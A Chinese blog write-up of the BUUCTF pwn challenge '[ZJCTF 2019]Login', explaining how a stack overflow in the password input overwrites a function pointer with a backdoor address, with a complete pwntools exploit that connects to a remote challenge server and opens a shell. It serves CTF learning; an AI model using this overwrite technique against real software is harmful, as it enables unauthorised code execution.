[BUUCTF]PWN——[ZJCTF 2019]Login
2024-09-06 18:46:49
[ZJCTF 2019]Login
步骤:
- 例行检查,64位程序,开启了canary和nx保护
2. 试运行一下程序
3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd
再次尝试登录,无果
在程序里找到了后门函数,backdoor=0x400e88
c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻
问题出现在检查密码的那个函数上
反编译出来的伪代码看起来没什么问题
但是我们按下tab,看它的汇编,程序在结束前调用了call rax指令
逆向找一下rax的来源,通过查看汇编,找到了进入函数前给rax赋值的指令
通过ida查看读入密码的函数
看一下它在栈上的位置,距离是0x60-0x18 = 0x48
我们可以通过读入密码s去将var_18的地址改成我们之前看到的backdoor地址,之后检查密码的时候就跳转到那边,获取shell了
密码2jctf_pa5sw0rd的长度是14(0xe),0x48-0xe=0x3a,我们在填充0x3a长度的数据,之后到了var_18的地址,填上backdoor地址,即可完成利用
完整exp
from pwn import *
r = remote('node3.buuoj.cn',29427)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
r.interactive()
附上借鉴师傅的wp
最新文章
- oracle11g RAC1执行脚本结果
- 字节b换算kb/mb/gb/tb/pb
- 渗透攻防工具篇-后渗透阶段的Meterpreter
- GCD的基本知识
- linux web服务器必需的库文件
- Intellij IDEA 安装 Mybatis插件
- 两种局部刷新UITableView的方法的使用条件
- iis7如何取消目录的可执行权限
- MarkDown基础使用教程-by sixleaves
- 在 Linux OpenVPN 服务端吊销客户端证书
- 关于bootstrap的一些想法
- MySQL的JOIN(四):JOIN优化实践之快速匹配
- ubuntu远程桌面介绍
- 查看Linux下的文件
- WEB框架-Django组件学习-分页器学习
- mysql 迁移
- rabbitmq应用
- Javascript高级编程学习笔记(7)—— 函数
- Facebook的bigpipe
- 如何直接执行js代码
热门文章
- [bzoj5416]冒泡排序
- 抽象类和接口的区别详解、package和import
- 我的获奖记录及 Important Dates in OI
- CF1368F Lamps on a Circle
- 查找 Search
- 洛谷 P4426 - [HNOI/AHOI2018]毒瘤(虚树+dp)
- 关于写SpringBoot+Mybatisplus+Shiro项目的经验分享三:问题2
- 08 eclipse配置JDK
- 使用input+datalist简单实现实时匹配的可编辑下拉列表-并解决选定后浏览器默认只显示value的可读性问题
- Spark基础:(五)Spark编程进阶